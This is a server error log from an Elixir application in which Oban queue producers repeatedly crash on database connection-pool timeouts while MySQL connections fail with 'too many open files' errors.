[Sat Sep  5 23:38:30.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:38:18.238872Z], limit: 50, uuid: "2c248455-5553-49d6-99fd-dcce93d3356c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:18.238879Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24533>, refresh_timer: #Reference<0.2525715032.1068498948.21185>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:31.761000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:32.789000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:34.876000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:35.164000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:35.712000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:38.552000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:38.785000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:41.143000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:38:30.240123Z], limit: 5, uuid: "c86bd36f-8827-43b1-a4e7-190c731d14bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:30.240128Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.127909>, refresh_timer: #Reference<0.2525715032.1077411843.256728>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:38:30.240821Z], limit: 3, uuid: "18ddd9fa-1dbf-471e-a404-cfc1eec97217", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:30.240826Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24610>, refresh_timer: #Reference<0.2525715032.1068498948.21357>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:38:30.242250Z], limit: 50, uuid: "89d29da9-458f-4240-9687-2e1e5b02e355", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:30.242255Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.127910>, refresh_timer: #Reference<0.2525715032.1068498948.21365>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:38:30.240816Z], limit: 20, uuid: "48c38a3e-d21e-4458-aa9f-1b766ea16666", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:30.240821Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.127908>, refresh_timer: #Reference<0.2525715032.1077411843.256747>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:38:30.240406Z], limit: 10, uuid: "06c228bd-b62d-4804-b7e7-5013d58ece3e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:30.240412Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24609>, refresh_timer: #Reference<0.2525715032.1099431938.24592>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:38:30.240061Z], limit: 5, uuid: "0d191353-144f-480f-afe5-9d2a3b982d07", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:30.240068Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.256768>, refresh_timer: #Reference<0.2525715032.1077411843.256724>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:48.108000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:48.676000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:51.494000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:51.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:52.572000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:52.668000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:53.329000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:38:42.240525Z], limit: 5, uuid: "0d3fbdbf-f6d7-493b-a17d-b39a8b71f178", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:42.240531Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.128343>, refresh_timer: #Reference<0.2525715032.1121189889.128323>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
